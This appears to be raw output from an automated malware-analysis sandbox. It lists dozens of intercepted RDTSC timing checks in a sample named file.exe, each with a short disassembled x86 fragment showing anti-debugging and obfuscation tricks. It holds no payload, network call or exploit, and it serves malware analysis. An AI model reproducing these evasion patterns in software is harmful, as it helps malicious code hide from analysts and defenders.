Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11367B8 second address: 11367C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FBF09325AB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11367C5 second address: 11367E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007FBF08D33346h 0x0000000e jbe 00007FBF08D33346h 0x00000014 jns 00007FBF08D33346h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136957 second address: 113697E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnc 00007FBF09325AB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136E7B second address: 1136E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF08D33346h 0x0000000a pop edi 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A379 second address: 113A389 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A3F5 second address: 113A456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FBF08D33348h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push 00000000h 0x00000023 call 00007FBF08D33349h 0x00000028 jmp 00007FBF08D3334Fh 0x0000002d push eax 0x0000002e pushad 0x0000002f jmp 00007FBF08D33359h 0x00000034 jl 00007FBF08D3334Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A456 second address: 113A4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a jmp 00007FBF09325ABAh 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 jnl 00007FBF09325ADCh 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A4A8 second address: 113A4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A4AD second address: 113A562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 or edi, 013CEBD2h 0x0000000f push 00000003h 0x00000011 jmp 00007FBF09325ABEh 0x00000016 push 00000000h 0x00000018 jmp 00007FBF09325AC7h 0x0000001d push 00000003h 0x0000001f jmp 00007FBF09325ABEh 0x00000024 movsx esi, bx 0x00000027 push 971AC9C5h 0x0000002c jmp 00007FBF09325AC1h 0x00000031 xor dword ptr [esp], 571AC9C5h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007FBF09325AB8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov cx, B9B8h 0x00000056 sub dword ptr [ebp+122D1CBCh], eax 0x0000005c lea ebx, dword ptr [ebp+124502F6h] 0x00000062 jnl 00007FBF09325ABCh 0x00000068 or esi, dword ptr [ebp+122D28B5h] 0x0000006e push eax 0x0000006f pushad 0x00000070 jmp 00007FBF09325ABCh 0x00000075 push esi 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5A8 second address: 113A5DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FBF08D3334Eh 0x0000000e jg 00007FBF08D33348h 0x00000014 popad 0x00000015 nop 0x00000016 mov si, dx 0x00000019 push 00000000h 0x0000001b add dword ptr [ebp+122D2252h], ebx 0x00000021 push C425450Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 pushad 0x0000002a popad 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5DF second address: 113A5F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF09325AC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A6D9 second address: 113A6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A6DD second address: 113A6EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A6EC second address: 113A704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D33354h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A704 second address: 113A781 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jp 00007FBF09325ACAh 0x0000000f lea ebx, dword ptr [ebp+124502FFh] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FBF09325AB8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f call 00007FBF09325AC9h 0x00000034 mov dword ptr [ebp+122D1CAFh], eax 0x0000003a pop edx 0x0000003b movsx edi, si 0x0000003e push eax 0x0000003f jbe 00007FBF09325AC2h 0x00000045 jc 00007FBF09325ABCh 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A826 second address: 113A83B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FBF08D33346h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A83B second address: 113A83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A83F second address: 113A851 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A851 second address: 113A855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A855 second address: 113A86E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f je 00007FBF08D33354h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A86E second address: 113A872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A872 second address: 113A907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add edi, dword ptr [ebp+122D2452h] 0x0000000d push 00000003h 0x0000000f mov si, 8740h 0x00000013 push 00000000h 0x00000015 mov ch, ah 0x00000017 push 00000003h 0x00000019 mov esi, edx 0x0000001b jmp 00007FBF08D33356h 0x00000020 push 8F144212h 0x00000025 jnc 00007FBF08D3335Ah 0x0000002b xor dword ptr [esp], 4F144212h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FBF08D33348h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D24D7h], esi 0x00000052 lea ebx, dword ptr [ebp+1245030Ah] 0x00000058 mov di, 5B44h 0x0000005c xchg eax, ebx 0x0000005d push ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 jg 00007FBF08D33346h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A907 second address: 113A92E instructions: 0x00000000 rdtsc 0x00000002 je 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBF09325AC9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A92E second address: 113A938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FBF08D33346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CAAB second address: 114CAAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B2D8 second address: 115B2DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B2DC second address: 115B319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBF09325AC0h 0x0000000e jmp 00007FBF09325AC8h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B319 second address: 115B31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11299DF second address: 11299E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11299E6 second address: 11299F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBF08D33346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11299F0 second address: 11299F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159289 second address: 115928D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115928D second address: 11592B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBF09325AC1h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11596BD second address: 11596C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159820 second address: 115982E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599B2 second address: 11599B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599B8 second address: 11599BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599BE second address: 11599C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599C2 second address: 11599C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C35 second address: 1159C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C3E second address: 1159C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C44 second address: 1159C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C48 second address: 1159C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C58 second address: 1159C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C5C second address: 1159C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FBF09325AC2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C6C second address: 1159C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0AC second address: 115A0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC9h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0CA second address: 115A0D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0D0 second address: 115A0D6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0D6 second address: 115A0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FBF08D33352h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0E4 second address: 115A0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0EA second address: 115A0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0F4 second address: 115A100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A100 second address: 115A10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A10B second address: 115A10F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2A1 second address: 115A2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2A5 second address: 115A2A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2A9 second address: 115A2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBF08D33346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2B8 second address: 115A2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC3h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2D7 second address: 115A2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2DB second address: 115A2EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151D8A second address: 1151D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115AA4E second address: 115AA73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 jmp 00007FBF09325ABFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CF93 second address: 115CF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E8CE second address: 115E8D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E8D2 second address: 115E8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FBF08D3334Dh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E8F1 second address: 115E8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EA45 second address: 115EA5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166EE4 second address: 1166F04 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBF09325AB6h 0x00000008 jmp 00007FBF09325AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166F04 second address: 1166F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166286 second address: 116629C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBF09325AB6h 0x0000000a jmp 00007FBF09325ABBh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116629C second address: 11662A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11662A1 second address: 11662BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jl 00007FBF09325AB6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jl 00007FBF09325AE9h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11662BF second address: 11662C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116670E second address: 1166712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166712 second address: 116672C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A0D second address: 1166A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A13 second address: 1166A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A19 second address: 1166A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBF09325ABEh 0x0000000b jmp 00007FBF09325ABBh 0x00000010 jne 00007FBF09325AB6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A3F second address: 1166AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FBF08D33355h 0x0000000a je 00007FBF08D33346h 0x00000010 jmp 00007FBF08D33356h 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007FBF08D3334Fh 0x0000001c jmp 00007FBF08D33358h 0x00000021 jns 00007FBF08D33346h 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FBF08D3334Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166AB6 second address: 1166ABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169218 second address: 116921D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116921D second address: 1169223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B76C second address: 116B77B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B8DC second address: 116B8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BC69 second address: 116BC6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BC6D second address: 116BC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BD16 second address: 116BD1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BD1B second address: 116BD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FBF09325AC9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C3C1 second address: 116C3C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
